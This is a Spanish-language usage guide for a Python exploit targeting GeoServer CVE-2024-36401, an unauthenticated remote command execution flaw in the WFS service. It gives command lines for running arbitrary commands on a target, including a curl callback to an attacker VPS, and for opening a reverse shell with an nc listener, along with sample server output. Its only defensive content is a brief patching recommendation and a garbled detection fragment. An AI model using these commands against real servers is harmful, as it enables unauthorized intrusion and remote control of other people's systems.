
Un exploit en Python para "GeoServer"
CVE-2024-36401 es una vulnerabilidad de ejecución remota de comandos en GeoServer. Un atacante puede ejecutar comandos arbitrarios sin autorización mediante la construcción de solicitudes WFS (Web Feature Service) específicas.
pip install requestsLa herramienta admite dos modos de uso: modo cmd (ejecutar comandos directamente) y modo reverse (establecer una shell reversa).
Suponiendo que la dirección del VPS es 111.46.112.85,
use el modo para ejecutar el comando curl y probar si el servidor objetivo puede acceder a la red externa:
cmdpython exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
Método de verificación: inicie un servidor HTTP en el VPS para recibir las solicitudes
# 在 VPS 上执行
python -m http.server 8090
Si se recibe correctamente la respuesta de retorno, verá una salida similar a la siguiente:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
Use el modo reverse para establecer una shell reversa que se conecte al VPS y puerto especificados:
Paso 1: configure un puerto de escucha en el VPS
# 在 VPS 上执行
nc -lvp 6666
Paso 2: ejecute la herramienta de explotación para iniciar la conexión reversa
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
Después de la ejecución, la herramienta mostrará una salida similar a la siguiente:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
En este punto, si la explotación tiene éxito, el oyente nc en el VPS recibirá la sesión de shell reversa.
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd: modo de ejecutar un solo comandoreverse: modo de shell reversa<target>: dirección y puerto del servidor objetivo, en formato ip:port<command>: comando a ejecutar en el servidor objetivo<vps_ip>: dirección IP del servidor VPS<vps_port>: número de puerto de escucha en el VPSEsta vulnerabilidad aprovecha una falla de seguridad en el servicio WFS de GeoServer, inyectando código Java en valueReference para ejecutar comandos del sistema. La herramienta envía un payload XML que contiene código malicioso a la interfaz WFS de GeoServer, logrando así la ejecución remota de comandos.
/geoserver/wfs para que coincida con el contenido correspondiente.Actualice GeoServer a la versión de seguridad publicada oficialmente lo antes posible y configure el servidor siguiendo las mejores prácticas de seguridad.